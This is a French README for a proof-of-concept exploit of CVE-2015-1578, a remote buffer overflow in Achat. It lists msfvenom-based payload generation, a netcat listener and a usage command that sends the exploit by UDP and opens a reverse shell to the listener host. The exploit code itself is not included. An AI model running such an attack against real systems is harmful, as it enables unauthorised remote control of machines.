CVE-2015-1578-PoC

Aperçu

Ceci est une preuve de concept d'exploit pour CVE-2015-1578, une vulnérabilité de débordement de tampon dans Achat 0.150 beta7 sous Windows. L'exploitation conduit à une exécution de code à distance via un paquet UDP conçu.

Objectif

Ce PoC a pour but de servir d'exemple propre, minimal et bien structuré de développement d'exploit. Il démontre :

• La génération dynamique de shellcode via msfvenom
• Le ciblage et la configuration basés sur les arguments
• La mise en place intégrée d'un écouteur
• La livraison simple de la charge utile via UDP

Tutoriel vidéo

Dépendances

• Python 3
• msfvenom (partie du Framework Metasploit)
• rlwrap (pour une utilisation améliorée de Netcat)

Fonctionnalités

• Crée dynamiquement la charge utile encodée en Unicode à l'aide de msfvenom
• Démarre automatiquement un écouteur avec rlwrap nc
• Accepte des arguments en ligne de commande clairs
• Échoue gracieusement si des modules de charge utile optionnels sont manquants

Arguments

-i <ip_cible> Adresse IP cible (obligatoire) -l, --lhost <ip_ecouteur> IP hôte local pour le shell inverse (obligatoire) -p, --lport <port> Port local pour le shell inverse (obligatoire) --rport <port> Port UDP distant sur la cible (par défaut : 9256)

Exemple d'utilisation

python3 chatter.py -i 10.10.10.74 -l 10.10.16.7 -p 9393

Cela va :

• Générer la charge utile avec les LHOST et LPORT fournis
• Lancer un écouteur dans un thread d'arrière-plan
• Envoyer la charge utile de l'exploit via UDP à la cible